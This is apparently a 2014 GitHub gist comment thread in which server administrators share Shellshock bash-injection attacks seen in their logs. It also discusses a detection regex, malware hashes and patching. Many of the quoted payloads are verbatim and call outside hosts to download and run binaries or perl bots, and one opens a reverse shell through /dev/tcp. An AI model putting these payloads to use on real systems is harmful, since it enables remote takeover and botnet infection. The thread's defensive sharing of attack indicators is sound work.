Ok, shits real. Its in the wild... src:162.253.66.76

gistfile1.txt

GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*

$ file nginx 
nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

$ md5sum nginx 
5924bcc045bb7039f55c6ce29234e29a  nginx

$ sha256sum nginx 
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489  nginx

Looking at string variables, it appears to be a kernel exploit with a CnC component.
- found by @yinettesys

I created a gist showing how to add a line to your bashrc to identify the presence of the vulnerability. This is useful to me because I work on many different servers with many different administrators, and I sync my bashrc across machines using Git. I would appreciate input!

Caught one passing in as User Agent string at 14:34.

Reason: User header "HTTP_USER_AGENT" contains "() { :;}"

IP Address: 93.103.21.231
Hostname: 93-103-21-231.static.t-2.net
Location: Kranj, 52 (Slovenia)
User Agent: () { :;}; wget 'http://taxiairportpop.com/s.php?s=http://target.tld/'

209.126.230.72 - - [25/Sep/2014:00:36:54 +0000] "GET / HTTP/1.0" 200 346 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:11:11:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 536 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
198.20.69.74 - - [25/Sep/2014:20:17:06 +0000] "GET / HTTP/1.1" 200 327 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"

Surely someone could come up with a creative script to run in place of ping. Maybe tweet the offending scanner IP address with #SHELLSHOCK hashtag.

wow,cool!THX!

Found another:

80.85.87.249 - - [25/Sep/2014:12:07:51 +0000] "GET /cgi-bin/hello HTTP/1.0" 404 290 "-" "() { :;}; /bin/bash -c "wget 82.220.38.36/r.txt -O /tmp/klogd""

bmurch: shouldn't that be "grep '() {' *"? The colon doesn't have to be a colon for it to work.

109.202.102.224 - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur""

-- this one showed up a couple times on our servers today from netherlands. the source it pulls from http://213.5.67.223/jur has what looks to be a botnet with a worm component.

edit - looks like the 213.5.67.223 removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking shit in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader.

it work on android?

Can anyone else confirm if this is a suitable intermediary fix whilst we wait for a more permanent fix?

akamai/bash@7caac6e

On OS X, I applied all the patches (http://ftp.gnu.org/gnu/bash/bash-4.3-patches/) and rebuilt bash 4.3 from source after making this change manually to variables.c and it appears to be working. Not able to reproduce the Bash bug vulnerability as such...

Somebody did this that supposedly works for both Mac / OSX and (all?) Linux variants, but test it yourself and have a go: https://shellshocker.net/

Same here, got different requests since yesterday morning: `[26/Sep/2014:09:10:11 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 401 652 "-" "() { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1""``

198.101.206.138 also here:
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1052 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
213.5.67.223 - - [25/Sep/2014:15:46:35 +0200]

...and this one:
"GET /cgi-bin/his HTTP/1.0" 404 1044 "-" "() { :;}; /bin/bash -c "cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur""

A n00b question here:
If the logs show up as 404'd does it mean the UserAgent env were not actually evaluated - i.e. exploit failed ?

@Cherrytreee do you have cgi scripts? If not then you're safe atm.

@ChrisMCMine I don't. Thx!

More in the wild, though it looks like one of those "Is your site affected?" website scanners like shellshocker.net (if not for the remote file fetching). In this case, I wonder if it's necessarily a good idea for people to be creating "Check your website" online testers since it provides a proxy option for people with more malicious intent.

IP Address: 74.201.85.67
Location: Atlanta, GA 30303

http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/info.sh
http://target.tld:80/cgi-bin/test.sh
http://target.tld:80/cgi-bin/php.fcgi
http://target.tld:80/cgi-bin/php

User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"
User Agent: () { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1"

Timestamp: 9/26/2014 8:39:45 AM

@UAHR
[25/Sep/2014:11:10:43 +0100] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 403 296 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
snap!

I created a regex that matches the different attacks. (egrep compatible v4)

()\s{.;\s}\s*;

Examples:
http://rubular.com/r/FRoObXn9Kx

just discovered a new one in our server logs..

X.X.X.X - - [27/Sep/2014:06:18:02 +0200] "GET /de HTTP/1.0" 200 36399 "-" "() { :;}; /bin/bash -c \x22wget -q -O /dev/null http://ad.dipad.biz/test/http://customer-domain-censored.com/\x22""

"() { :;}; /bin/bash -c "wget --delete-after http://remika.ru/userfiles/file/test.php\"

艹

Found this: "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

and another one bites the dust..

62.210.75.170 - - [30/Sep/2014:00:13:28 +0200] "GET /de/cgi-mod/index.cgi HTTP/1.1" 404 315 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y2Vuc29yZWQtZG9tYWluLmNvbVNoZWxsU2hvY2tTYWx0 >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y2Vuc29yZWQtZG9tYWluLmNvbVNoZWxsU2hvY2tTYWx0 >> /dev/null'"

Great,

86.34.164.238 - - [28/Sep/2014:13:01:55 +0800] "GET / HTTP/1.0" 200 364 "-" "() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh""

Seems fairly straight-forward.

omg

it work on android?

thats fine